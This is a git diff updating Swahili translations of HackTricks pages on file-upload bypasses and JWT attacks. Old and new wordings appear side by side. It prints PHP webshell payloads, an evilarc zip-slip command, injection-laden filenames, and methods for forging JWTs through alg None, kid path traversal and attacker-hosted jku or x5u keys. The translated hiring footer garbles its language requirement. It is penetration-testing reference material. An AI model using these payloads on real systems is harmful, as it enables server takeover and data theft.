7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya extension iliyokatazwa na kabla ya ile inayoruhusiwa. Kama matokeo, **faili tupu yenye extension iliyokatazwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo wa “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu pia inaweza kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)
8. Jaribu kuvunja mipaka ya jina la faili. Extension halali inakatwa. Na PHP mbaya inabaki. AAA<--SNIP-->AAA.php
```
@ -81,30 +81,30 @@ AAA<--SNIP 232 A-->AAA.php.png
### Bypass Content-Type, Magic Number, Compression & Resizing
* Pita **Content-Type** ukaguzi kwa kuweka **thamani** ya **header** ya **Content-Type** kuwa: _image/png_ , _text/plain , application/octet-stream_
1. Orodha ya maneno ya Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
1. Orodha ya **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* Pita **magic number** ukaguzi kwa kuongeza mwanzoni mwa faili **bytes za picha halisi** (changanya amri ya _file_). Au ingiza shell ndani ya **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` au unaweza pia **kuingiza payload moja kwa moja** katika picha:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Ikiwa **compression inaongezwa kwenye picha yako**, kwa mfano kwa kutumia baadhi ya maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
* Ikiwa **compression inaongezwa kwenye picha yako**, kwa mfano kwa kutumia maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu baada ya compression.
* [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Tovuti inaweza pia kuwa **ikiweka** **picha**, kwa kutumia kwa mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
* Tovuti inaweza pia kuwa **ikiunda** **picha**, kwa kutumia kwa mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu baada ya compression.
* [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Mbinu nyingine ya kutengeneza payload inayoweza **kudumu baada ya kupunguza picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
* Mbinu nyingine ya kutengeneza payload inayoweza **kudumu baada ya kupunguza picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu baada ya compression.
* [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Other Tricks to check
* Tafuta udhaifu wa **kubadilisha** jina la faili iliyopakiwa tayari (kubadilisha extension).
* Tafuta udhaifu wa **Local File Inclusion** kutekeleza backdoor.
* **Kuweza kwa kufichua taarifa**:
* **Kuweza Kutoa Taarifa**:
1. Pakia **mara kadhaa** (na kwa **wakati mmoja**) faili **ile ile** yenye **jina lile lile**
2. Pakia faili yenye **jina** la **faili** au **folder** ambayo **tayari ipo**
3. Kupakia faili yenye **“.”, “..”, au “…” kama jina lake**. Kwa mfano, katika Apache katika **Windows**, ikiwa programu inaokoa faili zilizopakiwa katika saraka “/www/uploads/”, jina la “.” litaunda faili inayoitwa “uploads” katika saraka “/www/”.
3. Kupakia faili yenye **“.”, “..”, au “…” kama jina lake**. Kwa mfano, katika Apache katika **Windows**, ikiwa programu inahifadhi faili zilizopakiwa katika saraka “/www/uploads/”, jina la “.” litaunda faili inayoitwa “uploads” katika saraka “/www/”.
4. Pakia faili ambayo huenda isiweze kufutwa kwa urahisi kama **“…:.jpg”** katika **NTFS**. (Windows)
5. Pakia faili katika **Windows** yenye **herufi zisizo sahihi** kama `|<>*?”` katika jina lake. (Windows)
6. Pakia faili katika **Windows** kwa kutumia **majina yaliyohifadhiwa** (**yaliyokatazwa**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
* Jaribu pia **kupakia executable** (.exe) au **.html** (isiyo na mashaka) ambayo **itakamilisha msimbo** wakati itakapofunguliwa kwa bahati mbaya na mwathirika.
* Jaribu pia **kupakia executable** (.exe) au **.html** (isiyo na mashaka) ambayo **itaendesha msimbo** wakati itakapofunguliwa kwa bahati mbaya na mwathirika.
### Special extension tricks
@ -117,7 +117,7 @@ Extension ya `.inc` wakati mwingine hutumiwa kwa faili za php ambazo zinatumika
## **Jetty RCE**
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **xml mpya \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye `$JETTY_BASE/webapps/` na subiri shell!
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **faili mpya \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye `$JETTY_BASE/webapps/` na subiri shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
@ -125,7 +125,7 @@ Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa
Kwa uchambuzi wa kina wa udhaifu huu angalia utafiti wa asili: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Udhaifu wa Remote Command Execution (RCE) unaweza kutumika katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi ya `.ini`. Faili za usanidi za uWSGI hutumia sintaks maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumika kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Kati ya mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kudanganywa kwa madhumuni mabaya kama vile Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi ya `.ini` inashughulikiwa.
Udhaifu wa Remote Command Execution (RCE) unaweza kutumiwa katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi ya `.ini`. Faili za usanidi za uWSGI hutumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumiwa kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Miongoni mwa mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kutumiwa kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi ya `.ini` inashughulikiwa.
Fikiria mfano ufuatao wa faili hatari ya `uwsgi.ini`, ikionyesha mipango mbalimbali:
```ini
@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Note that **chaguo kingine** unachoweza kufikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejeleze faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa katika URL ya awali**.
Note that **chaguo kingine** unachoweza kufikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
## Zana
@ -184,22 +184,22 @@ Note that **chaguo kingine** unachoweza kufikiria ili kupita ukaguzi huu ni kufa
## Kutoka kwa Upakiaji wa Faili hadi Udhaifu Mwingine
* Weka **jina la faili** kuwa `../../../tmp/lol.png` na jaribu kufikia **path traversal**
* Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa kufikia **SQL injection**
* Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na huenda ukawa na uwezo wa kufikia **SQL injection**
* Weka **jina la faili** kuwa `<svg onload=alert(document.domain)>` ili kufikia XSS
* Weka **jina la faili** kuwa `; sleep 10;` ili kupima baadhi ya injection ya amri (zaidi ya [mbinu za injection za amri hapa](../command-injection.md))
* [**XSS** katika picha (svg) ya kupakia faili](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** faili **kupakia** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Open Redirect** kupitia kupakia faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
* [**Open Redirect** kupitia kupakia faili la svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
* Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha** hii itahifadhiwa kwenye tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
* [**XXE na CORS** bypass na PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
* PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambazo zitatekeleza JS zisizo na mipaka kufuatia maelekezo yaliyotolewa.
* PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa baadhi ya PDF ambazo zitatekeleza JS zisizo na mipaka kufuatia maelekezo yaliyotolewa.
* Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa seva ina **antivirus**
* Angalia ikiwa kuna **kikomo cha ukubwa** katika kupakia faili
Hapa kuna orodha ya vitu 10 unavyoweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Hapa kuna orodha ya mambo 10 unayoweza kufikia kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita kwenye saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
Kibao cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Chombo hiki kinaweza kutumika kama inavyoonyeshwa:
```python
@ -246,9 +246,9 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Zaidi ya hayo, **symlink trick with evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haina makosa wakati wa operesheni yake.
Zaidi ya hayo, **mbinu ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
Hapa kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
```python
#!/usr/bin/python
import zipfile
@ -270,7 +270,7 @@ create_zip()
Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Kuunda PHP Shell**: Msimbo wa PHP umeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya `$_REQUEST`.
1. **Kuunda PHP Shell**: Kode ya PHP imeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya `$_REQUEST`.
```php
<?php
@ -304,7 +304,7 @@ pop graphic-context
```
## Kuunganisha PHP Shell kwenye PNG
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha saizi na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha ukubwa na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yake yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
@ -314,9 +314,9 @@ Maelezo zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza.
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina mbalimbali za faili, inaweza kupita kwa siri vizuizi hivi.
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utamaduni wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina nyingi za faili, inaweza kupita kwa siri vizuizi hivi.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, wakati polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot unaweza usitoshe kuhakikisha kupakia kwake.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, wakati polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa pande mbili wa polyglot huenda usitoshe kuhakikisha kupakia kwake.
Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -329,23 +329,23 @@ Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -69,7 +69,7 @@ Check if the token lasts more than 24h... maybe it never expires. If there is a
[**See this page.**](../generic-methodologies-and-resources/brute-force.md#jwt)
### Badilisha algorithmu kuwa Hakuna
### Badilisha algorithmu kuwa None
Set the algorithm used as "None" and remove the signature part.
@ -91,18 +91,18 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Mshambuliaji anaingiza funguo mpya kwenye kichwa cha token na seva inatumia funguo hii mpya kuthibitisha saini (CVE-2018-0114).
Hii inaweza kufanywa kwa kutumia nyongeza ya "JSON Web Tokens" ya Burp.\
Hii inaweza kufanywa kwa kutumia "JSON Web Tokens" Burp extension.\
(Tuma ombi kwa Repeater, ndani ya tab ya JSON Web Token chagua "CVE-2018-0114" na tuma ombi).
### JWKS Spoofing
Maelekezo yanaelezea njia ya kutathmini usalama wa JWT tokens, hasa zile zinazotumia madai ya kichwa "jku". Dhamira hii inapaswa kuunganisha na faili ya JWKS (JSON Web Key Set) ambayo ina funguo ya umma inayohitajika kwa uthibitishaji wa token.
Maagizo yanaelezea njia ya kutathmini usalama wa JWT tokens, hasa zile zinazotumia madai ya kichwa "jku". Dhamira hii inapaswa kuunganisha na faili ya JWKS (JSON Web Key Set) ambayo ina funguo ya umma inayohitajika kwa uthibitishaji wa token.
* **Kuthibitisha Tokens zenye Kichwa "jku"**:
* Thibitisha URL ya dhamira "jku" ili kuhakikisha inapeleka kwenye faili sahihi ya JWKS.
* Badilisha thamani ya "jku" ya token ili kuelekeza kwenye huduma ya wavuti inayodhibitiwa, kuruhusu ufuatiliaji wa trafiki.
* **Kufuatilia Maingiliano ya HTTP**:
* Kuangalia maombi ya HTTP kwenye URL yako iliyotolewa kunaonyesha juhudi za seva za kupata funguo kutoka kwenye kiungo chako kilichotolewa.
* Kuangalia maombi ya HTTP kwenye URL yako iliyotolewa kunaonyesha juhudi za seva kupata funguo kutoka kiungo chako kilichotolewa.
* Unapokuwa unatumia `jwt_tool` kwa mchakato huu, ni muhimu kuboresha faili ya `jwtconf.ini` na eneo lako la JWKS binafsi ili kuwezesha majaribio.
* **Amri kwa `jwt_tool`**:
* Tekeleza amri ifuatayo ili kuiga hali hiyo na `jwt_tool`:
@ -121,7 +121,7 @@ Wakati dhamira ya `kid` inapatikana kwenye kichwa, inashauriwa kutafuta kwenye d
#### Path Traversal with "kid"
Dhamira ya `kid` inaweza pia kutumika vibaya kuzunguka mfumo wa faili, ikiruhusu kuchaguliwa kwa faili yoyote. Inawezekana kujaribu kuunganishwa au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya `kid` ili kulenga faili au huduma maalum. Kubadilisha JWT ili kubadilisha thamani ya `kid` huku ukihifadhi saini ya awali kunaweza kufanywa kwa kutumia bendera `-T` katika jwt\_tool, kama inavyoonyeshwa hapa chini:
Dhamira ya `kid` inaweza pia kutumika vibaya kuzunguka mfumo wa faili, ikiruhusu kuchagua faili yoyote. Inawezekana kujaribu kuunganishwa au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya `kid` ili kulenga faili au huduma maalum. Kubadilisha JWT ili kubadilisha thamani ya `kid` huku ukihifadhi saini ya awali kunaweza kufanywa kwa kutumia bendera `-T` katika jwt\_tool, kama inavyoonyeshwa hapa chini:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
@ -169,9 +169,9 @@ print("e:", hex(key.e))
X.509 URL. URI inayopointia seti ya X.509 (kiwango cha muundo wa cheti) vyeti vya umma vilivyoandikwa kwa mfumo wa PEM. Cheti cha kwanza katika seti lazima kiwe kile kinachotumika kusaini JWT hii. Vyeti vinavyofuata kila kimoja husaini kile kilichopita, hivyo kukamilisha mnyororo wa vyeti. X.509 imefafanuliwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamasisha vyeti.
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na kuangalia kama ombi lolote linapokelewa. Katika hali hiyo **unaweza kuingilia JWT**.
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na angalia kama ombi lolote linapokelewa. Katika hali hiyo, **unaweza kubadilisha JWT**.
Ili kutunga token mpya kwa kutumia cheti kinachodhibitiwa na wewe, unahitaji kuunda cheti na kutoa funguo za umma na za kibinafsi:
Ili kutunga token mpya kwa kutumia cheti kinachodhibitiwa na wewe, unahitaji kuunda cheti na kutoa funguo za umma na za faragha:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
@ -180,7 +180,7 @@ Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na
![](<../.gitbook/assets/image (956).png>)
Pia unaweza kutumia udhaifu huu **kwa SSRFs**.
Pia unaweza kutumia udhaifu hizi **kwa SSRFs**.
#### x5c
@ -188,7 +188,7 @@ Parameter hii inaweza kuwa na **cheti katika base64**:
![](<../.gitbook/assets/image (1119).png>)
